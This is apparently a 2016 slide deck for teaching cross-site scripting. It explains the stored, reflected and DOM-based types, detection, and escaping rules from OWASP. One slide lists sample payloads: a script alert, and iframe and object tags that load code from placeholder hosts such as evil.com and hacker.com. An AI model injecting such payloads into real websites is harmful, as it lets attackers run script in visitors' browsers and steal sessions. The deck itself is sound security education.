CROSS-SITE SCRIPTING(XSS) ATTACKS

Abu Khleif & HaithamTopics In security, Nov 28, 2016

CONTENTS

Overview

Types of XSS Vulnerabilities

How to Determine If You Are Vulnerable?

How to Protect Your Website?

XSS Attack Code Examples

Let’s Do a demo!

References

OVERVIEW

INTRODUCTION TO WEB APPLICATIONS

Client-Side and Server-Side

Front-End languages (HTML, CSS, JS, ...)

Back-End languages (PHP, ASP.NET, Java Servlet, ...)

WHAT IS “CROSS-SITE SCRIPTING (XSS)”?

Cross-Site Scripting (XSS) attacks are a type of injection.

Malicious scripts are injected into otherwise trusted websites.

An attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

WHAT IS “CROSS-SITE SCRIPTING (XSS)”?

The end user’s browser has no way to know that the script should not be trusted, and will execute the script; Because it thinks the script came from a trusted source.

The malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

PROCEDURE OF XSS ATTACK

Cross-Site Scripting (XSS) attacks occur when:1. Data enters a Web application through an untrusted source, most

frequently a web request.

2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML,Flash, or any other type of code that the browser may execute.

TYPES OF XSS ATTACKS

PERSISTENT (STORED, TYPE I) XSS ATTACK

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.

The victim then retrieves the malicious script from the server when it requests the stored information.

A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

PERSISTENT (STORED, TYPE I) XSS ATTACK

PERSISTENT (STORED, TYPE I) XSS ATTACK

REFLECTED (NON-PERSISTENT, TYPE II) XSS ATTACK

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

REFLECTED (NON-PERSISTENT, TYPE II) XSS ATTACK

OTHER TYPES OF XSS VULNERABILITIES

In addition to Stored and Reflected XSS, another type of XSS, DOM Based XSS was identified by Amit Klein in 2005.

DOM:

When a web page is loaded, the browser createsa Document Object Model of the page.

The HTML DOM model is constructedas a tree of Objects.

DOM BASED (TYPE 0) XSS ATTACK

A form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser.

For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write).

May be considered as a sub-class of reflected XSS attacks.

REFLECTED VS PERSISTENT XSS ATTACKS

Reflected XSS Attack

Most common type of web vulnerability.

User input is immediately returned by a web application.

No permanently storing for the user provided data.

Persistent XSS Attack

More devastating variant of a cross-site scripting flaw.

Data provided by the attacker is saved by the server.

Data provided by the attacker permanently displayed on "normal" pages returned to other users.

HOW TO DETERMINE IF YOU ARE VULNERABLE?

HOW TO DETERMINE IF YOU ARE VULNERABLE?

XSS flaws can be difficult to identify and remove from a web application.

The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.

Note that a variety of different HTML tags can be used to transmit a malicious JavaScript.

Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

HOW TO PROTECT YOUR WEBSITE?

HOW TO PROTECT YOUR WEBSITE?Essentially, you need to treat all user input into your site as ‘untrusted.’ It could be someone genuinely reaching out to you, or it could be malicious code.

For example, a user might put a comment on your site consisting of some text between these two characters: <text>.

Unfortunately ‘<’ and ‘>’ usually mean <executable code goes here> in HTML —it could be a trap!

With encoding, ‘<’ and ‘>’ get transformed into ‘&lt;’ and ‘&gt;’ — which are gibberish to both you and your HTML renderer.

HOW TO PROTECT YOUR WEBSITE?

If you’re in search of more information, OWASP has put together a comprehensive cheat sheet for preventing XSS.

First 2 rules are listed on the next slides.

There are also companies who will, for a fee, scan your website for XSS vulnerabilities — which aren’t all as obvious as an unprotected comment-box — and suggest remediation.

XSS PREVENTION RULES

RULE #0 - Never Insert Untrusted Data Except in Allowed Locations

Examples:

<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script

<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment

<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name

<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name

<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS

XSS PREVENTION RULESRULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content

Examples: <body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>

<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>

Escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. In addition to the 5 characters significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity.

& &amp; < &lt; > &gt;

" &quot; ' &#x27; / &#x2F;

XSS ATTACK CODE EXAMPLES

XSS ATTACK CODE EXAMPLES

<script> alert("XSS"); </script>

<iframe src=”http://evil.com/xss.html”>

<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

XSS ATTACK CODE EXAMPLES

<html xmlns="http://www.w3.org/1999/xhtml"><head>

<title>Test Layout</title><style type="text/css">body, html { margin: 0; padding: 0; height: 100%; overflow: hidden; }

#content { position:absolute; left: 0; right: 0; bottom: 0; top: 0px; }</style> </head>

<body><div id="content"> <iframe width="100%" height="100%" frameborder="0" src="http://cnn.com" /> </div>

</body></html>

LET’S DO A DEMO!

REFERENCES

Cross-site Scripting (XSS)

Types of Cross-Site Scripting

Cross-site scripting

Cross Site Scripting (XSS) Attacks

How to Protect Your Website from Being Hacked

XSS (Cross Site Scripting) Prevention Cheat Sheet

Cross-site Scripting (XSS) Attack

Learn About XSS Vulnerabilities, Injections and How to Prevent Attacks

GOODBYE =) Abu Khleif & Haitham